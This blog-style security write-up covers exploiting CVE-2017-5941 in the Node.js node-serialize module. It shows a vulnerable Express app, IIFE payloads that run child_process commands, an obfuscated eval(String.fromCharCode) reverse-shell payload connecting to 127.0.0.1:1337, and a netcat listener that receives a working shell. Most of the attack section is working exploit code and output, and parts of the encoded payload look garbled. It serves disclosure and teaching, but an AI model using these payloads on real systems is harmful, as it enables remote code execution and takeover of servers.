

Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941)

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tl;dr

Untrusted data passed into `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately invoked function expression (IIFE).

The Bug

During a Node.js code review, I happen to see a serialization/deserialization module named `node-serialize`. A cookie value that comes from the request was passed into the `unserialize()` function provided by the module. Here is a sample node.js application to imitate the code:

```
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser());
app.get('/', function(req, res) {
  if (req.cookies.profile) {
    var str = new Buffer(req.cookies.profile,
'base64').toString();
    var obj = serialize.unserialize(str);
    if (obj.username) {
      res.send("Hello " + escape(obj.username));
    }
  }
});
```

```
    }  
  
    } else {  
  
        res.cookie('profile',  
"eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5Ijo  
iYmFuZ2Fsb3JlIn0=", { maxAge: 900000, httpOnly: true});  
  
    }  
    res.send("Hello World");  
});  
app.listen(3000);
```

Java, PHP, Ruby and Python have a fair share of Deserialization bugs. Some resources explaining these issues:

[Understanding PHP Object Injection](#)

[Java Deserialization Cheat Sheet](#)

[Rails Remote Code Execution Vulnerability Explained](#)

[Arbitrary code execution with Python pickles](#)

However I couldn't find any resource that explained deserialization/object injection bugs in Node.js. I thought to do some research on this and after spending some time I was able to exploit a deserialization bug to achieve arbitrary code injection.

Building the Payload

I have used node-serialize version 0.0.4 for this research. For successful exploitation, arbitrary code execution should occur when untrusted input is passed into `unserialize()` function. The best way to create a payload is to use the `serialize()` function of the same module.

I created the following JavaScript object and passed it to `serialize()` function.

```
var y = {
  rce : function(){
    require('child_process').exec('ls /', function(error,
stdout, stderr) { console.log(stdout) });
  },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
```

Which gives the following output.

```
Ajins-MacBook-Pro:Desktop ajin$ node log.js
Serialized:
{"rce": "_$$ND_FUNC$$_function (){\n \trequire('child_process').exec('ls /', func
tion(error, stdout, stderr) { console.log(stdout) });\n }"}
```

Now we have a serialized string that can be deserialized with `unserialize()` function. But the problem is code execution won't happen until you trigger the function corresponding to the `rce` property of the object.

Later I figured out that we can use JavaScript's **Immediately invoked function expression (IIFE)** for calling the function. If we use IIFE bracket `()` after the function body, the function will get invoked when the object is created. It works similar to a Class constructor in C++.

Now the `serialize()` function with the modified object code is called.

```
var y = {
  rce : function(){
    require('child_process').exec('ls /', function(error,
stdout, stderr) { console.log(stdout) });
  }(),
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
```



```
Ajins-MacBook-Pro:Desktop ajin$ node log.js
Applications
Library
Network
System
Users
Volumes
bin
cores
dev
etc
home
installer.failurerequests
net
opt
private
sbin
tmp
usr
var
```

Now we know that we can exploit `unserialize()` function in node-serialize module, if untrusted data passed into it. Let's exploit the vulnerability in the web application to spawn a reverse shell.

Further Exploitation

The vulnerability in the web application is that it reads a cookie named profile from the HTTP request, perform base64 decode of the cookie value and pass it to `unserialize()` function. As cookie is an untrusted input, an attacker can craft malicious cookie value to exploit this vulnerability.

I used `nodejshell.py` for generating a reverse shell payload.

```
$ python nodejshell.py 127.0.0.1 1337
```

```
[+] LHOST = 127.0.0.1
```

```
[+] LPORT = 1337
```

```
[+] Encoding
```

```
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,
```

49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,2,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,2,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,15,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

Now let's generate the serialized payload and add IIFE brackets () after the function body.

```
{"rce": "_$$ND_FUNC$$_function () {  
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101  
,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,1  
12,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,1  
08,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,1  
0,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,3  
4,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,1  
05,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112  
,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,  
61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,  
116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,  
110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105  
,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,1  
10,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,  
125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82
```


We can now listen for a shell

```
nc -l 127.0.0.1 1337
```

```
Ajins-MacBook-Pro:~ ajin$ nc -l 127.0.0.1 1337
Connected!
whoami
ajin

ls /
Applications
Library
Network
System
Users
Volumes
bin
cores
dev
etc
home
installer.failurerequests
net
opt
private
sbin
tmp
usr
var
```

And now we have a reverse shell!. An exploitation video is available here:
<https://www.youtube.com/watch?v=GFacPoWOcw0>

Final Thoughts

We exploited a deserialization bug to achieve arbitrary code execution with untrusted user input. The Rule of thumb is never to deserialize untrusted user input. The root cause is that it was using `eval()` internally for deserialization. I also found a similar bug in another module named `serialize-to-js`. In that module, the `require()` function in Node.js has no scope during deserialization of an object with IIFE and they were using `new`

`Function()` internally for deserialization. We can still achieve code execution with a slightly complex payload.